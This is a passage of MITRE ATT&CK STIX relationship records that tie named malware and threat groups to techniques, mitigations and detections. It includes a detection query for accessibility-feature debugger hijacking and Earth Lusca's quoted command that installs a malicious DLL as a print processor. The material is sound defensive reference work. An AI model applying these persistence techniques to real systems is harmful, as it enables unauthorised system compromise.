["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f76fd4d-a638-41a0-90b9-bd4ada6f93f3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", "description": "Moran, N., et al. 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Retrieved August 24, 2021."}], "modified": "2021-10-14T22:21:20.941Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) has collected the MAC address of a compromised host; it can also use <code>GetAdaptersInfo</code> to identify network adapters.(Citation: TrendMicro Taidoor)(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f7a6812-5026-47ce-9424-e6658cec5e54", "created": "2023-07-13T19:21:30.304Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike Scattered Spider BYOVD January 2023", "description": "CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.", "url": "https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-13T19:21:30.304Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged legitimate remote management tools to maintain persistent access.(Citation: CrowdStrike Scattered Spider BYOVD January 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f7ce20c-fab3-4dbd-be9f-c023d7b0bd90", "type": "relationship", "created": "2020-09-29T15:45:28.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PWC WellMess July 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}, {"source_name": "NCSC APT29 July 2020", "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}], "modified": "2020-09-29T18:54:16.250Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) has the ability to use DNS tunneling for C2 communications.(Citation: PWC WellMess July 2020)(Citation: NCSC APT29 July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f7d0afb-471e-42e9-9a65-8d8aa8635ac5", "created": "2024-02-09T19:27:00.297Z", "revoked": false, "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. 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(2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."}], "modified": "2022-03-09T18:44:33.811Z", "description": "When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.(Citation: FireEye DLL Side-Loading)", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f8411e1-71c2-46da-a789-9403c4b1f967", "created": "2022-01-05T16:16:01.347Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Group 72", "description": "Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72"}, {"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.676Z", "description": "(Citation: Cisco Group 72)(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f85e333-375b-4a5b-8a15-a3bd061678a4", "created": "2021-10-01T01:57:31.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}, {"source_name": "Trend Micro TeamTNT", "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-01T17:31:07.706Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for rival malware and removes it if found.(Citation: Trend Micro TeamTNT) [TeamTNT](https://attack.mitre.org/groups/G0139) has also searched for running processes containing the strings aliyun or liyun to identify machines running Alibaba Cloud Security tools.(Citation: Cisco Talos Intelligence Group)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f86632a-1bf5-4e15-a3fa-590c06642286", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for newly constructed files that may execute their own malicious payloads by hijacking the way operating systems run programs.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f87daea-245e-484f-84bc-e0f6656a0dcb", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:15:20.376Z", "description": "Monitor newly executed processes that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features.\n\nAn adversary can use accessibility features (Ease of Access), such as StickyKeys or Utilman, to launch a command shell from the logon screen and gain SYSTEM access. Since an adversary does not have physical access to the machine, this technique must be run within Remote Desktop. To prevent an adversary from getting to the login screen without first authenticating, Network-Level Authentication (NLA) must be enabled. If a debugger is set up for one of the accessibility features, then it will intercept the process launch of the feature and instead execute a new command line. This analytic looks for instances of cmd.exe or powershell.exe launched directly from the logon process, winlogon.exe. \n\nSeveral accessibility programs can be run using the Ease of Access center\n\n- sethc.exe handles StickyKeys\n- utilman.exe is the Ease of Access menu\n- osk.exe runs the On-Screen Keyboard\n- narrator.exe reads screen text over audio\n- magnify.exe magnifies the view of the screen near the cursor\n\nOne simple way to implement this technique is to note that in a default Windows configuration there are no spaces in the path to the system32 folder. If the accessibility programs are ever run with a Debugger set, then Windows will launch the Debugger process and append the command line to the accessibility program. As a result, a space is inserted in the command line before the path. Looking for any instances of a space in the command line before the name of an accessibility program will help identify when Debuggers are set.\n\nThe Windows Registry location HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options allows for parameters to be set for applications during execution. One feature used by malicious actors is the \u201cDebugger\u201d option. When a key has this value enabled, a Debugging command line can be specified. Windows will launch the Debugging command line, and pass the original command line in as an argument. Adversaries can set a Debugger for Accessibility Applications. The analytic looks for the original command line as an argument to the Debugger. When the strings \u201csethc.exe\u201d, \u201cutilman.exe\u201d, \u201cosk.exe\u201d, \u201cnarrator.exe\u201d, and \u201cMagnify.exe\u201d are detected in the arguments, but not as the main executable, it is very likely that a Debugger is set.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic example looks for any creation of common accessibility processes such as sethc.exe but does no other filtering, which may result in false positives. Therefore, we recommend tuning any such analytics by including additional logic (e.g., testing the name of the parent process) that helps reduce false positives.\n\nAnalytic 2 could depend on the possibility of the known strings used as arguments for other applications used in the day-to-day environment. Although the chance of the string \u201csethc.exe\u201d being used as an argument for another application is unlikely, it still is a possibility.\n\nAnalytic 1 - Command Launched from Winlogon\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND ParentImage=\"winlogon.exe\" AND Image=\"cmd.exe\"AND \n(CommandLine=\"*sethc.exe\"\nOR CommandLine=\"*utilman.exe\"\nOR CommandLine=\"*osk.exe\" \nOR CommandLine=\"*narrator.exe\" \nOR CommandLine=\"*magnify.exe\"</code>\n\nAnalytic 2 - Debuggers for Accessibility Applications\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") | where CommandLine match \"$.* .*(sethcutilmanosknarratormagnify)\\.exe\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f89d6c4-29ec-4777-bbc9-b0ea78064c42", "created": "2020-05-14T22:29:26.192Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T20:08:03.239Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) has decrypted itself using a single-byte XOR scheme. Additionally, [Rising Sun](https://attack.mitre.org/software/S0448) can decrypt its configuration data at runtime.(Citation: McAfee Sharpshooter December 2018)\t", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f8c284a-faa2-4f58-be3b-e27f6ed84423", "created": "2022-05-12T18:22:42.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET DazzleSpy Jan 2022", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}, {"source_name": "Objective-See MacMa Nov 2021", "description": "Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.", "url": "https://objective-see.org/blog/blog_0x69.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-20T19:58:20.264Z", "description": "[MacMa](https://attack.mitre.org/software/S1016) installs a `com.apple.softwareupdate.plist` file in the `/LaunchAgents` folder with the `RunAtLoad` value set to `true`. Upon user login, [MacMa](https://attack.mitre.org/software/S1016) is executed from `/var/root/.local/softwareupdate` with root privileges. Some variations also include the `LimitLoadToSessionType` key with the value `Aqua`, ensuring the [MacMa](https://attack.mitre.org/software/S1016) only runs when there is a logged in GUI user.(Citation: ESET DazzleSpy Jan 2022)(Citation: Objective-See MacMa Nov 2021)", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f8dca9b-86d0-4d97-98ed-c98240cc3933", "created": "2020-03-13T20:26:46.786Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kubernetes Service Accounts", "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.", "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"}, {"source_name": "Microsoft Remote Use of Local", "description": "Margosis, A.. (2018, December 10). Remote Use of Local Accounts: LAPS Changes Everything. Retrieved March 13, 2020.", "url": "https://blogs.technet.microsoft.com/secguide/2018/12/10/remote-use-of-local-accounts-laps-changes-everything/"}, {"source_name": "TechNet Credential Theft", "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"}, {"source_name": "TechNet Least Privilege", "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-14T13:12:14.244Z", "description": "Audit local accounts permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) Limit the usage of local administrator accounts to be used for day-to-day operations that may expose them to potential adversaries. \n\nFor example, audit the use of service accounts in Kubernetes, and avoid automatically granting them access to the Kubernetes API if this is not required.(Citation: Kubernetes Service Accounts) Implementing LAPS may also help prevent reuse of local administrator credentials across a domain.(Citation: Microsoft Remote Use of Local)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f8e76b5-603e-4557-8635-465d988a4072", "created": "2023-02-08T19:47:08.768Z", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. 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Retrieved September 29, 2021.", "url": "https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:51:40.272Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has used watering hole attacks, often with zero-day exploits, to gain initial access to victims within a specific IP range.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4fd3ec25-00ed-48c1-af72-e2523959860e", "type": "relationship", "created": "2019-06-25T12:37:30.078Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-06-09T18:51:50.586Z", "description": "Require signed binaries.", "relationship_type": "mitigates", "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4fd56621-eb11-43b9-b90f-e6739af43660", "created": "2022-10-18T14:49:35.526Z", "revoked": false, "external_references": [{"source_name": "Tarrask scheduled task", "description": "Microsoft Threat Intelligence Team & Detection and Response Team . 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It allows for interactive access of the running windows, and forwards key presses, mouse clicks, etc. Network administrators, power users, and end-users may use RDP for day-to-day operations. From an adversary\u2019s perspective, RDP provides a means to\u00a0laterally move\u00a0to a new host. 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(2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. 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(2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Dec 2017"}, {"url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/", "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", "source_name": "OilRig New Delivery Oct 2017"}, {"description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. 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(2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}, {"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-19T16:54:09.828Z", "description": "(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4feaa82b-a356-4412-be2b-daa6ea6df82c", "created": "2022-07-18T20:27:18.521Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-09T15:45:34.626Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) used the command `move [file path] c:\\windows\\system32\\spool\\prtprocs\\x64\\spool.dll` to move and register a malicious DLL name as a Windows print processor, which eventually was loaded by the Print Spooler service.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ff00908-ef82-45dc-bb71-bf1cea80063e", "type": "relationship", "created": "2020-03-15T15:34:30.911Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T22:44:12.148Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. ", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ff3969a-4992-43c0-b4dc-02a21f5c9b2b", "type": "relationship", "created": "2020-01-30T17:03:43.449Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-31T19:56:31.505Z", "description": "Do not allow a user to be a local administrator for multiple systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ff492bf-f91d-445d-a29e-6e60c67a05c1", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "S2 Grupo TrickBot June 2017", "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T22:29:49.686Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses non-descriptive names to hide functionality.(Citation: S2 Grupo TrickBot June 2017)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ff8a2ad-2e69-4933-a5f4-201c891eef87", "type": "relationship", "created": "2021-03-05T18:54:56.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Higaisa 2020", "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/", "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}, {"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}], "modified": "2021-03-05T18:54:56.767Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used malicious e-mail attachments to lure victims into executing LNK files.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data to its C2 server over the same protocol as C2 communications.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ffd0780-b8ed-4b8f-b5b8-ff5b0afd4f1f", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-16T16:57:38.867Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) can enumerate drives and their types. It can also change file permissions using cacls.exe.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}, {"source_name": "Microsoft DTC", "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. 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(2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/", "source_name": "Unit42 Azorult Nov 2018"}], "modified": 